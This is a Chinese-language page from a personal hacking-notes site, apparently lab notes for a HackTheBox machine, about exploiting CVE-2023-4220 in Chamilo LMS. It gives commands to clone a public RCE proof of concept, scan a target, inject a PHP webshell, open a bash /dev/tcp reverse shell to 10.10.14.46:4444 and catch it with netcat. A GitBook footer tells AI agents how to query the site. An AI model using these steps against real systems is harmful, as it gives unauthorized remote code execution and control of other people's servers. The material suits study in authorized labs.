> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/chamilo-cms-exploitation.md).

# Chamilo

<figure><img src="/files/3e0add99036d46ba50ee43a9ea33c7ef148aeb78" alt=""><figcaption></figcaption></figure>

## Chamilo 漏洞 /\[CVE-2023-4220]

Chamilo 存在 CVE-2023-4220 漏洞，可导致远程代码执行（RCE）。请使用以下公开的概念验证：

{% embed url="<https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc>" %}

#### 克隆 GitHub 仓库：

```bash
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
```

2. 运行检查以确认目标是否存在漏洞：

```bash
python3 main.py -u http://example.com/chamilo -a scan
```

<figure><img src="/files/8d7099dccc81c1e0ac44046ef3485856233748ff" alt=""><figcaption></figcaption></figure>

### Webshell：

如果存在该漏洞，则注入一个 **PHP WebShell** 到 Chamilo 中：

```bash
python3 main.py -u http://lms.permx.htb/ -a webshell
```

<figure><img src="/files/f3b26fedf7618baaf1c52343e3a75bf1a61c7d61" alt=""><figcaption></figcaption></figure>

一旦注入 WebShell，就可以在目标上执行命令。

<figure><img src="/files/ece1418379e9c74ecdbbf1afca3d3c13e5fb4be3" alt=""><figcaption></figcaption></figure>

### 反向 Shell：

要建立反向 Shell 并获取对机器的访问权限，请在终端中运行以下命令：

```url
bash -c "bash -i >%26 /dev/tcp/10.10.14.46/4444 0>%261"
```

然后在 4444 端口上启动监听器：

```bash
nc -nlvp 4444
```

<figure><img src="/files/92c60aaa1a10f721fb2900ce4dd3fe57b289bbed" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/cms/chamilo-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
